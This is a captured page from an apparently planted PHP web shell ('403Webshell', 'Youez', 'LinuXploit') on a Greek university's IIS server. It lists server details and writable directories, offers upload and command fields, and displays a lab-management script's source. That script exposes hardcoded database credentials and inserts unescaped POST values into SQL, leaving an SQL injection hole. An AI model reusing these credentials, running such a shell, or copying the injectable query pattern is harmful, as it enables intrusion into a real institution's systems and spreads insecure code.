403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/labs/insert_lesson.php
<?php
	/*
	*************************************************************************************
	**	insert_lesson.php
	*************************************************************************************
	*/
	session_start();
	header("Cache-control: private");

	/*
	*************************************************************************************
	**	Καταχώρηση νέου μαθήματος στη βάση δεδομένων.
	*************************************************************************************
	*/
	if($_POST['lesson'] && $_POST['filename'])			
	{
		$lesson = $_POST['lesson'];
		$filename = $_POST['filename'];
		$lesson = stripslashes($lesson);
		$filename = stripslashes($filename);
  
		$connection = mysqli_connect("localhost", "icd_labs", "t3!$3r") or die(mysqli_error());	
		mysqli_select_db($connection,"laboratories") or die(mysqli_error());					
	        mysqli_set_charset($connection,"utf8");
		mysqli_query($connection, "SET NAMES 'utf8'");
  
		$sql = "INSERT INTO lessons(lesson_name, filename) VALUES('$lesson', '$filename')"; 
		$result= mysqli_query($connection,$sql) or die(mysqli_error());
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>E-LABS - ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ, ΥΠΟΛΟΓΙΣΤΩΝ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ - ΔΙΠΑΕ</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-7">
<style type="text/css">
<!--
body {
	background-image: url(pics/back.gif);
}
.style5 {color: #191919; font-weight: bold; }
.style6 {
	font-size: 12px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
a:link {
	color: #0000CC;
	text-decoration: underline;
}
a:visited {
	color: #0000CC;
	text-decoration: underline;
}
a:hover {
	color: #FFFFFF;
	text-decoration: none;
}
a:active {
	text-decoration: underline;
}
.style7 {
	color: #003300;
	font-weight: bold;
}
.style9 {
	font-size: 14px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #009900;
}
-->
</style></head>

<body>

<table width="1000" border="0" cellpadding="0" cellspacing="0">
  <!--DWLayoutTable-->
  <tr>
    <td height="150" colspan="4" valign="top"><img src="pics/index_up.jpg" width="1000" height="150"></td>
    <td width="4">&nbsp;</td>
  </tr>
  <tr>
    <td height="2" colspan="4" valign="top"><img src="pics/horizontal_bar.gif" width="1000" height="2"></td>
    <td></td>
  </tr>
  <tr>
    <td width="13" height="19">&nbsp;</td>
    <td width="374" valign="top"><div align="left" class="style7">ΕΡΓΑΛΕΙΑ ΔΙΑΧΕΙΡΙΣΗΣ ΣΥΣΤΗΜΑΤΟΣ</div></td>
    <td width="583">&nbsp;</td>
    <td width="30">&nbsp;</td>
    <td></td>
  </tr>
  <tr>
    <td height="2" colspan="4" valign="top"><img src="pics/horizontal_bar.gif" width="1000" height="2"></td>
  <td></td>
  </tr>
  <tr>
    <td height="1"></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td height="17"></td>
    <td valign="top"><span class="style9">ΕΠΙΤΥΧΗΣ ΚΑΤΑΧΩΡΗΣΗ ΜΑΘΗΜΑΤΟΣ</span></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td height="34"></td>
    <td colspan="2" valign="top"><div align="left" class="style9">
    Το νέο μάθημα καταχωρήθηκε με επιτυχία. Παρακαλώ επιστρέψτε στην <a href="admin.php">αρχική σελίδα</a> εργαλείων διαχείρισης συστήματος για όποια άλλη καταχώρηση επιθυμείτε.</div></td>
    <td>&nbsp;</td>
    <td></td>
  </tr>
  <tr>
    <td height="851"></td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td></td>
  </tr>
</table>
</body>
</html>

<?php
	}
	else
	{
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>E-LABS - ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΥΠΟΛΟΓΙΣΤΩΝ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ - ΔΙΠΑΕ</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-7">
<META HTTP-EQUIV="Refresh" CONTENT="7; URL=index.php">
<style type="text/css">
<!--
body {
	background-image: url(pics/back.gif);
}
.style5 {color: #191919; font-weight: bold; }
.style6 {
	font-size: 12px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
a:link {
	color: #0000CC;
	text-decoration: underline;
}
a:visited {
	color: #0000CC;
	text-decoration: underline;
}
a:hover {
	color: #FFFFFF;
	text-decoration: none;
}
a:active {
	text-decoration: underline;
}
.style7 {
	color: #003300;
	font-weight: bold;
}
.style9 {
	font-size: 14px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #009900;
}
-->
</style></head>

  <body>
  <table width="1000" border="0" cellpadding="0" cellspacing="0">
  <!--DWLayoutTable-->
  <tr>
    <td height="150" colspan="3" valign="top"><img src="pics/index_up.jpg" width="1000" height="150"></td>
    <td width="4">&nbsp;</td>
  </tr>
  <tr>
    <td width="55" height="119">&nbsp;</td>
    <td width="826" valign="top"><?php
   echo "Τα δεδομένα που καταχωρήσατε δεν είναι σωστά. Σε λίγα δευτορόλεπτα θα μεταβείτε αυτόματα στην αρχική σελίδα για να προσπαθήσετε να επανασυνδεθείτε.";
   exit;
  ?></td>
  <td width="119">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td height="496">&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
  </body>
  </html>

<?php
	}
	/*
	*************************************************************************************
	**	Developed by Petrellis Manolis.
	*************************************************************************************
	*/
?>  

Youez - 2016 - github.com/yon3zu
LinuXploit